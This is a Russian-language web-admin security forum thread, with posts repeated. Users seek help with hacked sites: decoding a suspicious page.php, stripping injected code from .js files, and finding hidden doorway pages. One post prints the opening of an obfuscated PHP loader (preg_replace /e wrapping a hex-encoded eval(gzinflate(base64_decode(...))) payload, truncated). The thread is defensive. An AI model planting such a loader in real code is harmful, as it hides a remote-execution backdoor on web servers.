Le0n13: Смотрели, ничего подобного нету. Единстенный подозрительный файл это page.php, через который и происходит это все... может кто поможет его расшифровать?
Вот его первые строки:
<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lZm5juTKFUR9Ae8fBoMxJOeBZG4kBvqTclibJVvozxdv5AkmpyQM9IxCV3HJvGtE3OwfX4/34/nt25///Pb99tWm47Pcvmo5Pu32Vd7jd9yrj+MzH5/Ury3r8TnuL8dzy.....
юни: Вопрос из этой же области - существуют ли сборки виртуальных машин, позволяющие сразу запустить их одним кликом на стороннем компьютере, без предварительной установке дистрибутива (Virtual PC, VMWare и т.п.)?
Существует портабельная версия Virtualbox (VirtualBox Portable), думаю подойдет.
shuma375: Во всех файлах с расширением .js сидит вредоносный код. Файлов настолько много, что вычистить руками их просто нереально. Кто может подсказать, как убрать вредоносный код через SSH?
Если коротко, то составляете регексп и седом прогоняете :)
Выложите код который нужно вырезать, помогу с синтаксисом.
Все важное (финансы и т.п.) можно держать на отдельном компе (как вариант, отдельная ОС на отдельном винте или ВМ). И не ставить туда ничего левого. Это доступно обычным пользователям и избавит от большинства проблем.
На тему обнаружения троянов. Наиболее надежное решение - заруливание всего трафика с подозрительной машины на IDS. Но эт конечно не для домашних пользователей :)
Насколько я понял, ТС ищет сборщик и коррелятор логов. Попробуйте погуглить "коррелятор логов". "Легкого" решения этой проблемы я не знаю, мы пользуемся для аналогичных задач OSSIM
zenja: Не пойму, почему этот дор есть в кеше пс-ов, но я его не вижу на сайте?
Возможно, эти страницы генерируются динамически для поисковых ботов (определяется по юзер-агенту), а для обычных пользователей нет. Но в любом случае нужно искать код дора.. Начните с .htaccess
Урок на будущее - внимательно изучать код банеров перед тем как внедрять их на свои сайты.
А вообще интересная проблема. ИМХО понятие "банер" не имеет четкого определения, но обычно под ним понимается некая картинка, а не активно меняющий поведение браузера код.
Считается что дублирование контента внутри сайта вредно, поэтому советуют закрывать подобные страницы от индексации.
Scrapbook не пробовали?
https://addons.mozilla.org/en-US/firefox/addon/scrapbook/
Смотрели, ничего подобного нету. Единстенный подозрительный файл это page.php, через который и происходит это все... может кто поможет его расшифровать?
Вот его первые строки:
<?php
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'lZm5juTKFUR9Ae8fBoMxJOeBZG4kBvqTclibJVvozxdv5AkmpyQM9IxCV3HJvGtE3OwfX4/34/nt25///Pb99tWm47Pcvmo5Pu32Vd7jd9yrj+MzH5/Ury3r8TnuL8dzy.....
Полно же сервисов :)
http://www.unphp.net/
http://ddecode.com/phpdecoder/
и т.п.
Пути два :)
1. Курить логи
2. Сравнить файлы цмс с чистым дистрибом dle той-же версии
Вопрос из этой же области - существуют ли сборки виртуальных машин, позволяющие сразу запустить их одним кликом на стороннем компьютере, без предварительной установке дистрибутива (Virtual PC, VMWare и т.п.)?
Существует портабельная версия Virtualbox (VirtualBox Portable), думаю подойдет.
Во всех файлах с расширением .js сидит вредоносный код. Файлов настолько много, что вычистить руками их просто нереально. Кто может подсказать, как убрать вредоносный код через SSH?
Если коротко, то составляете регексп и седом прогоняете :)
Выложите код который нужно вырезать, помогу с синтаксисом.
Немножко конструктива :)
Все важное (финансы и т.п.) можно держать на отдельном компе (как вариант, отдельная ОС на отдельном винте или ВМ). И не ставить туда ничего левого. Это доступно обычным пользователям и избавит от большинства проблем.
На тему обнаружения троянов. Наиболее надежное решение - заруливание всего трафика с подозрительной машины на IDS. Но эт конечно не для домашних пользователей :)
Насколько я понял, ТС ищет сборщик и коррелятор логов. Попробуйте погуглить "коррелятор логов". "Легкого" решения этой проблемы я не знаю, мы пользуемся для аналогичных задач OSSIM
Не пойму, почему этот дор есть в кеше пс-ов, но я его не вижу на сайте?
Возможно, эти страницы генерируются динамически для поисковых ботов (определяется по юзер-агенту), а для обычных пользователей нет. Но в любом случае нужно искать код дора.. Начните с .htaccess
Урок на будущее - внимательно изучать код банеров перед тем как внедрять их на свои сайты.
А вообще интересная проблема. ИМХО понятие "банер" не имеет четкого определения, но обычно под ним понимается некая картинка, а не активно меняющий поведение браузера код.